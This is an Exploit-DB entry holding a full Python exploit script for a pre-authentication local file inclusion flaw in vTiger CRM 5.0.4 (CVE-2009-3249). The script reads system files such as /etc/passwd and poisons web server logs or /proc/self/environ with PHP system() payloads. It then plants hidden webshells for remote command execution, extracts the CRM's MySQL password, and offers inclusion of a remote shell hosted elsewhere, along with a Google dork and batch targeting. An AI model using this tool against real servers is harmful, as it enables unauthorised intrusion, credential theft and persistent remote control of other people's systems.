标题: vTiger CRM 5.0.4 - Local File Inclusion EDB-ID: 16280 CVE: 2009-3249 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-05 漏洞利用脚本: #!/usr/bin/python
# ~INFORMATION:         #
# Exploit Title: Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit  #
# Google Dork:  "The honest Open Source CRM" "vtiger CRM 5.0.4"  #
# Date:   5/3/2011      #
# CVE:   CVE-2009-3249      #
# Windows link:  http://bit.ly/fiOYCL     #
# Linux link:  http://bit.ly/hluzLf     #
# Tested on:  Windows XP/Linux Ubuntu     #
# PHP.ini Settings: gpc_magic_quotes = Off     #
# Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt #
# Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco #
# "ascii" Ongaro are credited with the discovery of this vulnerability.  #
# Greetz: mr_me, sud0, sinn3r & my other fellow hackers    #
# Note: Loading URL files may require tampering of code ;-)   #

# ~VULNERABLE CODE:
'''
if(isset($_REQUEST['action']) && isset($_REQUEST['module']))
{
        $action = $_REQUEST['action'];
        $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';
        $current_module = $_REQUEST['module'];
}
elseif(isset($_REQUEST['module']))
{
 $current_module = $_REQUEST['module'];
 $current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';
}
else {
    exit();
...
...
...
require_once($current_module_file);
'''
# ~EXPLOIT:
import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="3.3.2011"
__VERSION__ = "1.0"

# Options for running script
usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--p", type="string",action="store", dest="proxy",
        help="HTTP Proxy <server>:<port>")
parser.add_option("-f","--f", type="string",action="store", dest="file",
        help="Input list of target URLS")
parser.add_option("-P","--P",type="int",action='store', default="80", dest="port",
        help="Choose Port [Default: %default]")

(options, args) = parser.parse_args()

numlines=0
# Parameter for command execution
vulnWebPage = "graph.php?module="
# Loca File inclusion path
lfi = "../../../../../../../../../"
# OS Linux detection
linuxOS = "etc/passwd"
# OS Windows Detection
windowsOS = "windows/win.ini"
# Windows default non-IIS setup access log file for vtiger
winLogs = "../../../logs/access.log"
# Windows Vtiger Instllation PHP Info file
vtPlatformLog = "../logs/platform.log"
# Linux Log files
lnxLogs =['/var/log/access_log',
        '/var/log/access.log',
        '/var/log/apache2/access_log',
        '/var/log/apache2/access.log',
        '/var/log/apache2/error_log',
        '/var/log/apache2/error.log',
        '/var/log/apache/access_log',
        '/var/log/apache/access.log',
        '/var/log/apache/error_log',
        '/var/log/apache/error.log',
        '/var/log/user.log',
        '/var/log/user.log.1',
        '/apache/logs/access.log',
        '/apache/logs/error.log',
        '/etc/httpd/logs/acces_log',
        '/etc/httpd/logs/acces.log',
        '/etc/httpd/logs/access_log',
        '/etc/httpd/logs/access.log',
        '/etc/httpd/logs/error_log',
        '/etc/httpd/logs/error.log',
        '/usr/local/apache2/logs/access_log',
        '/usr/local/apache2/logs/access.log',
        '/usr/local/apache2/logs/error_log',
        '/usr/local/apache2/logs/error.log',
        '/usr/local/apache/logs/access_log',
        '/usr/local/apache/logs/access.log',
        '/usr/local/apache/logs/error_log',
        '/usr/local/apache/logs/error.log'
 '/logs/access.log',
        '/logs/error.log',
 '/var/log/error_log',
        '/var/log/error.log',
        '/var/log/httpd/access_log',
        '/var/log/httpd/access.log',
        '/var/log/httpd/error_log',
        '/var/log/httpd/error.log',
        '/var/www/logs/access_log',
        '/var/www/logs/access.log',
        '/var/www/logs/error_log',
        '/var/www/logs/error.log']
# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        "Google Chrome 0.2.149.29 (Windows XP)",
        "Opera 9.25 (Windows Vista)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)

def banner(): 
    if os.name == "posix": 
        os.system("clear") 
    else: 
        os.system("cls") 
    header = '''
 ____   _______________.___  _____________________________  
 \   \ /   /\__    ___/|   |/  _____/\_   _____/\______   \ 
  \   Y   /   |    |   |   /   \  ___ |    __)_  |       _/ 
   \     /    |    |   |   \    \_\  \|        \ |    |   \ 
    \___/     |____|   |___|\______  /_______  / |____|_  / 
                      __,,,,_                                              
       _ __..-;''`--/'/ /.',-`-. 
   (`/' ` |  \ \ \ / / / / .-'/`,_   Version 5.0.4                              
  /'`\ \   |  \ | \| // // / -.,/_,'-,                                     
 /<7' ;  \ \  | ; ||/ /| | \/    |`-/,/-.,_,/')                            
/  _.-, `,-\,__|  _-| / \ \/|_/  |    '-/.;.''                             
`-`  f/ ;      / __/ \__ `/ |__/ |                                         
     `-'      |  -| =|\_  \  |-' | %s            
           __/   /_..-' `  ),'  // Date %s
          ((__.-'((___..-'' \__.'

'''%(__CONTACT__,__DATE__)
    for i in header: 
        print "\b%s"%i, 
        sys.stdout.flush() 
        time.sleep(0.003) 

# Written to clean up shell output
def cleanUp(response):
 """ Comment or Uncomment if you want to filter the unwanted text returned in logs """
 response = re.sub('<b(.*)',"", response)
 response = re.sub("Fatal error(.*)","", response)
 response = re.sub("Warning(.*)","", response)
 response = re.sub('Notice(.*)',"", response)
 return response

def firstMenu():
 print '''
[+] 1. Test Environment
[+] 2. Straight To Menu'''
        if options.file:
  print "[+] 3. Go To Next URL"
 menuChoice = raw_input("\n>> Enter Your Choice: ")
        if menuChoice == "1":
  systemOS = informationGathering()
        if menuChoice == "2":
                systemOS = raw_input("[+] Which OS? (w)indows Or (l)inux: ")
        if menuChoice == "3":
  websiteList(options.file)
  firstMenu()
 if systemOS == "l":
                linuxMenu()
        if systemOS == "w":
                windowsMenu()
 if systemOS == None:
  firstMenu()

def websiteList(websiteFile):
 global numlines
 numlines+=1
 url = linecache.getline(websiteFile, numlines)
 url = url[:-1]
 if url == '':
  print "[-] No More Entries\n"
  sys.exit()
 print "\n["+str(numlines)+"] Target: "+url
 url=urlparse(url)
 return (url, numlines)

def getProxy():
 """ Lets you setup a proxy using the proxy defined in options.proxy """
        try:
  proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  socket.setdefaulttimeout(100)
 except(socket.timeout):
                print "\n[-] Proxy Timed Out"
                sys.exit(1)
        return proxy_handler

def lfiRequest(localFile):
        """ Lets you send a GET request to see if LFI is posible either by proxy or direct """
 if options.proxy:
  try:
   fetch_timeout = 20
   proxyfier = urllib2.build_opener(getProxy())
   proxyfier.addheaders = [('User-agent', agent)]
   response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00",None,fetch_timeout).read()
  except urllib2.HTTPError, error:
   if error.code == '500':
    pass
   if options.file:
    print "[+] Try Next URL"
                                websiteList(options.file)
    firstMenu()
    sys.exit()
   else:
    print "[-] Check Your Webaddress And Directory"
    sys.exit()
                except(urllib2.URLError):
                        print "[-] Could Not Communicate With TARGET\n"
                        print '[-] Stopping Script\n'
                        sys.exit()
 else:
  try:
   response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00")
   response.add_header('User-agent',agent)
   response = urllib2.urlopen(response).read()
   response = cleanUp(response)
  except urllib2.HTTPError, error:
   if error.code == '500':
    pass
   if options.file:
           print "[+] Try Next URL"
                                websiteList(options.file)
           firstMenu()
           sys.exit()
                 else:
     print "[-] Did Not Work"
  except(urllib2.URLError):
   print "[-] Could Not Communicate With TARGET"
                        print '[-] Stopping Script\n'
                        sys.exit()

 return response

def getRequest(localFile):
 """ Lets you send a GET request to see if LFI is posible either by proxy or direct """
 if options.proxy:
  try:
   fetch_timeout = 300
   proxyfier = urllib2.build_opener(getProxy())
   proxyfier.addheaders = [('User-agent', agent)]
   response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00",None,fetch_timeout).read()                
  except urllib2.HTTPError, error:
                        errorMessage = str(error.code)
   if errorMessage == '500':
                                print error
    response = error.read()
    pass
   else:
    print "[-] Verify Address Manually:"
    print "[+] "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00"
    sys.exit()
 else:
                try:
   response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00")
   response.add_header('User-agent',agent)
   response = urllib2.urlopen(response).read()
  except urllib2.HTTPError, error:
                        errorMessage = str(error.code)
                      if errorMessage == '500':
                                print error
                                pass
                        else:
                                print "[-] Verify Address Manually:"
                                print "[+] "+url.geturl()+vulnWebPage+lfi+localFile+"%00"
                                sys.exit()
 return response

def socketInject(payloadType):
 """ Lets you inject into the Apache access log by proxy or direct """
        if options.proxy:
  try:
                        proxyIp, proxyPort = options.proxy.split(':')
                        proxyPort = int(proxyPort)
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.connect((proxyIp, proxyPort))
                        if payloadType == 'systemPayload':
    sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
    sock.send("User-Agent: "+agent+"\r\n")
    sock.send("Host: "+url.geturl()+"\r\n")
    sock.send("Connection: close\r\n\r\n")
   if payloadType == 'includePayload':
    sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n\r\n")
                                sock.send("User-Agent: "+agent+"\r\n")
                                sock.send("Host: "+url.geturl()+"\r\n")
                                sock.send("Connection: close\r\n\r\n")   
   sock.close()
   print "[+] Injected Payload Into Logs"
  except:
                 print "[-] Could Not Inject Into Logs"
   sys.exit(1)
 else:
  try:
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((url.netloc, options.port))
   if payloadType == 'systemPayload':
    sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
    sock.send("User-Agent: "+agent+"\r\n")
    sock.send("Host: "+url.scheme+url.netloc+"\r\n")
    sock.send("Connection: close\r\n\r\n")
   if payloadType == 'includePayload':
    sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n")
    sock.send("User-Agent: "+agent+"\r\n")
    sock.send("Host: "+url.scheme+url.netloc+"\r\n")
    sock.send("Connection: close\r\n\r\n")
   sock.close()
   print "[+] Injected Payload Into Logs"
  except:
   print "[-] Could Not Inject Into Logs"
   sys.exit(1)

def postRequestWebShell(shellName,encodedCmd):
 """ WebShell which sends all POST requests to hide commmands being logged in access.log """
 webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+"cache/."+shellName+".php"
 if options.proxy:
  try:
   commandToExecute = [
   ('cat',encodedCmd)]
   cmdData = urllib.urlencode(commandToExecute)
   proxyfier = urllib2.build_opener(getProxy())
   proxyfier.addheaders = [('User-agent', agent)]
   cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
   cmdContent = cleanUp(cmdContent)
   print cmdContent
  except:
   print "[-] Request To .%s.php Failed" % shellName
 else:
                try:
   values = { 'User-Agent' : agent,
                        'cat': encodedCmd}
   data = urllib.urlencode(values)
   request= urllib2.Request(webSiteUrl, data)
   response = urllib2.urlopen(request)
   response = response.read()
   response = cleanUp(response)
   print response
  except urllib2.HTTPError, error:
                        response = error.read()

def readFromAccessLogs(cmd, logs):
 """ Lets you choose what type of os for the log location and command to run """
        if options.proxy:
                try:
   proxyfier = urllib2.build_opener(getProxy())
   proxyfier.addheaders = [('User-agent', agent)] 
   proxyfier.addheaders.append(("Cookie", "value="+cmd))
   response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00").read()
                except urllib2.HTTPError, error:
   response = error.read()
   sys.exit()
        else:
                try:
   junk = None
   headers = { 'User-Agent' : agent,
   'Cookie': 'value='+cmd}
   response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00",junk,headers)
   response = urllib2.urlopen(response).read()
  except urllib2.HTTPError, error:
                        response = error.read()
        return response

def informationGathering():
 """ Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on """ 

        # Use default LICIENSE.txt file in webroot to gather information
 requestContent = lfiRequest("../LICENSE.txt")
 
 # Test for Magic Quotes
 print "[+] INFORMATION GATHERING:"
 print "[+] Checking if LFI Is Posible"
 magicQuotes = re.compile('SugarCRM Public')
 magicQuotes = magicQuotes.search(requestContent)
 if magicQuotes:
  print "[+] magic_quotes_gpc = Off"
 else:
  print "[-] magic_quotes_gpc = On"
  print "[-] Or Your URL Is Incorrect"
  if options.file:
                        websiteList(options.file)
          firstMenu()
  else:
   sys.exit()
 # OS Detection
 try:
  passwd = getRequest(linuxOS)
  searchFor = re.compile('root:')
  searchLinuxOS = searchFor.search(passwd)
  print "[!] Working Out The Operating System"
  if searchLinuxOS:
   print "[!] OS Detection: Linux"
   systemOS = "l"
  elif not searchLinuxOS:
   winini = getRequest(windowsOS)
   searchFor = re.compile('16-bit')
   searchWindowsOS = searchFor.search(winini)
   if searchWindowsOS:
    print "[!] OS Detection: Windows"
    systemOS= "w"
   else:
    print "[!] No Data Returned, You Will Have To Guess The Operating System"
           firstMenu()
    systemOS = None
 except:
  print "[-] Could Not Run OS Detection"
  print "[-] System OS Could Not Be Set Try Option 2"
  systemOS = None
 try:
  # Checking for Error Messages
  print "[+] Checking If Error Messages Are Enabled"
  pathError = re.compile(r"(reference in (.*)on|not found in (.*)graph.php)")
  findPath = pathError.search(requestContent)
  if findPath:
                 print "[-]  Web Root Directory Is: "+findPath.group(1)
  elif findPath == None:
   platformRequest = getRequest(vtPlatformLog)
   pathWinRootFinder = re.compile('REQUSET\["root_directory"\]</td><td class="v">(.*)</td>')
   findWinPathRoot = pathWinRootFinder.search(platformRequest)
   if findWinPathRoot:
     print "[-]  WWWRoot Directory From Platform.log Is: "+findWinPathRoot.group(1)
  else:
   print "[-]  Did Not Find Any Path Disclosure"
 except:
                print "[-] Could Not Run Error Message Detection"
 return systemOS 

def environInject(shellName):
        """ Lets you get a shell through proc self environ by proxy or without """
 webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+"proc/self/environ"+"%00"
 shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
 if options.proxy:
  try:
   print '[+] Testing If /proc/self/environ Exists'
   proxyfier = urllib2.build_opener(getProxy())
   proxyfier.addheaders = [('User-agent', agent)]
   response = proxyfier.open(webSiteUrl).read()
   patFinder = re.compile('HTTP_USER_AGENT')
   environContent = patFinder.search(response)
   if environContent:
    print '[+] Web Application Vulnerable to proc/self/environ'
    proxyfier = urllib2.build_opener(getProxy())
                                encodedCommand = base64.b64encode(shellString)
                                commandToExecute = [
                                ('cat',encodedCommand)]
    cmdData = urllib.urlencode(commandToExecute)
    proxyfier.addheaders = [('User-agent', "<?php system(base64_decode($_POST[cat]));?>")]
    cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
   else:
    print '[-] Could Not Create Shell'
    sys.exit()
                except: 
                        print "[-] Seems To Not Be Vulnerable To Proc Self Environment"
          linuxMenu()
   sys.exit()
 else:
                try:
                        shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
                        encodedCommand = base64.b64encode(shellString)
                        headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>',
                        'cat' : encodedCommand}
                        cmdContent = urllib2.Request(webSiteUrl,junk,headers)
   cmdContent = urllib2.urlopen(cmdContent).read()
  except urllib2.HTTPError, error:
                        response = error.read()
   print response
 
 while True:
  try:
   command = raw_input(commandLine)
   encodedCmd = base64.b64encode(command)
   postRequestWebShell(shellName,encodedCmd)
  except KeyboardInterrupt:
   encodedCmd = base64.b64encode('rm .'+shellName+'.php')
   postRequestWebShell(shellName,encodedCmd)
   print "[-] CTRL+C Detected!"
   print "[+] Removed .%s.php\n" % shellName
   sys.exit()

def logInject(payloadType):
 """ Lets you choose what type of payload to use such as include or system """
 inject = raw_input("[?] To Inject? Press ENTER, Otherwise Type 'n' : ")
 if inject == 'yes' or inject == 'y' or inject == '':
  socketInject(payloadType)
        else:
  print "[!] Did Not Inject Into Logs"

def proxyCheck():
 if options.proxy:
  try:
   h2 = httplib.HTTPConnection(options.proxy)
   h2.connect()
   print "[+] Using Proxy Server:",options.proxy
  except(socket.timeout):
   print "[-] Proxy Timed Out\n"
   pass
   sys.exit(1)
  except(NameError):
   print "[-] Proxy Not Given\n"
   pass
   sys.exit(1)
  except:
   print "[-] Proxy Failed\n"
   pass
   sys.exit(1)

def shellMessage(shellName):
 print '''
 # Shell: .%s.php 
 ###########################
 # Welcome To Remote Shell #
  # This Is Not Interactive #
 # To Exist Shell Ctrl + C #
     # Hack The Gibson #
 ###########################
 ''' % shellName

# Linux Techniques
def linuxMenu():
        print '''
[+] 1. Terminal By Logs
[+] 2. Terminal By Proc Self Environment'''
        if options.file:
                print '[+] 3. Go To Next URL'
        lnxChoice = raw_input(">> Enter Your Choice: ")

        # Log Technique
        if lnxChoice == '1':
                print "[!] Lets Hope You Got Rights To Their Logs!"
                for log in lnxLogs:
                        print "[-] Testing %s" % log
                        logReponse = getRequest(log)
                        command2Find = re.compile('" 200')
                        findCommand = command2Find.search(logReponse)
                        if findCommand:
                                print "[+] Injectable Log File Located @ %s" % log
                                logInject("systemPayload")
                                yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \'n\': ')
                                logWithLfi = lfi+log
                                if yourChoice == '':
                                        shellName = raw_input('[?] Name Of Your Webshell: ')
                                        print '[+] Creating Webshell'
                                        systemCommand = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
                                        encodedCmd = base64.b64encode(systemCommand)
                                        readFromAccessLogs(encodedCmd, logWithLfi)
                                        print "[!] Tempting To Create WebShell .%s.php" % shellName
                                        shellMessage(shellName)
                                        while True:
                                                try:
                                                        command = raw_input(commandLine)
                                                        encodedCmd = base64.b64encode(command)
                                                        postRequestWebShell(shellName,encodedCmd)
                                                except KeyboardInterrupt:
                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')
                                                        postRequestWebShell(shellName,encodedCmd)
                                                        print "[-] CTRL+C Detected!"
                                                        print "[+] Removed .%s.php\n" % shellName
                                                        sys.exit()
                                else:
                                        cleanUp(response)
                                        logInject("systemPayload")
                                        while True:
                                                try:
                                                        command = raw_input(commandLine)
                                                        encodedCmd = base64.b64encode(command)
                                                        postRequestWebShell(shellName,encodedCmd)
                                                except KeyboardInterrupt:
                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')
                                                        postRequestWebShell(shellName,encodedCmd)
                                                        print "[-] CTRL+C detected!"
                                                        print "[+] Removed .%s.php\n" % shellName
                                                        sys.exit()
        # Environ Technique
        if lnxChoice == '2':
  shellName = raw_input('[?] Name Of Your Webshell: ') 
  environInject(shellName)

        if lnxChoice == '3':
                websiteList(options.file)
                firstMenu()
                sys.exit()

def windowsMenu():
  print '''
[+] 1. Remote File Inclusion Browser Shell           
[+] 2. VTiger MySQL Password
[+] 3. PHP WebShell
  '''
         winChoice = raw_input(">> Enter your choice: ")
         if winChoice == '1':
              try:
                  logInject("includePayload")
                  print "[+] Example: http://www.xfocus.net.ru/soft/r57.txt"
                  rfi = raw_input('>>> Enter Your Remote Webshell URL: ')
                  webbrowser.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+winLogs+"%00"+"&cmd="+base64.b64encode(rfi))
                                print "[+] Check Your Web Browser!"
                        except:
                  print "[-] RFI @ %s Did Not Work" % rfi
  if winChoice == "2":
   f = lfiRequest(vtPlatformLog)
   patFinder = re.compile('POST\["db_password"\]</td><td class="v">(.*)</td>') 
   findUser = patFinder.search(f)
   if findUser is None:
    print '[-] Did Not Find MySQL Database Password'
   else:
    print "[!] VTiger Password: "+findUser.group(1)
  if winChoice == "3":
   logInject("systemPayload")
   shellName = raw_input('[?] Name Of Your Webshell: ')
   systemCommand = "echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php" % shellName
   encodedCmd = base64.b64encode(systemCommand)
   readFromAccessLogs(encodedCmd, winLogs)        
   print "[!] Created WebShell .%s.php" % shellName
   shellMessage(shellName)
   while True:
    try: 
     command = raw_input(commandLine) 
     encodedCmd = base64.b64encode(command)
     postRequestWebShell(shellName,encodedCmd)
    except KeyboardInterrupt:
     encodedCmd = base64.b64encode('del .'+shellName+'.php')
     postRequestWebShell(shellName,encodedCmd)
     print "[-] CTRL+C Detected!"
     print "[+] Removed .%s.php\n" % shellName
     sys.exit()
if "__main__" == __name__:
 banner()
        proxyCheck()
 try:
         url=urlparse(args[0])
 except:
  if options.file:
   print "[+] Using Website List"
   url,numlines = websiteList(options.file)
  else:
   parser.print_help()
                 print "\n[-] Check Your URL\n" 
   sys.exit(1)
 if not url.scheme:
  print usage+"\n"
  print "[-] Missing HTTP/HTTPS\n"
  sys.exit(1)
 commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
 if not options.file:
  print "[+] Target: "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path
 firstMenu() URL: https://www.exploit-db.com/exploits/16280